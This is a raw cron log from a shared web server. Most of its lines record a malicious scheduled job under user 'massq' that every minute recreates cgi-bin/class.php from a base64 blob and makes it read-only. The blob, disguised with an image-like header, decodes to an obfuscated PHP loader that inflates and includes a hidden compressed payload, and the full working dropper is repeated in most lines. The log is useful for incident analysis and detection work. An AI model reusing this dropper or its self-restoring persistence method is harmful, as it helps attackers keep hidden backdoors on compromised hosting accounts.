Apr  7 23:21:01 server CROND[3965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:22:01 server CROND[4036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:23:01 server CROND[4098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:24:01 server CROND[4216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:25:01 server CROND[4304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:25:01 server CROND[4306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:25:01 server CROND[4305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:26:01 server CROND[4406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:27:01 server CROND[4458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:27:01 server CROND[4459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 23:28:01 server CROND[4527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:29:01 server CROND[4588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:30:01 server CROND[4745]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:30:01 server CROND[4746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:30:01 server CROND[4747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:30:01 server CROND[4748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 23:31:01 server CROND[4865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:32:01 server CROND[4929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:33:01 server CROND[4987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:34:01 server CROND[5039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
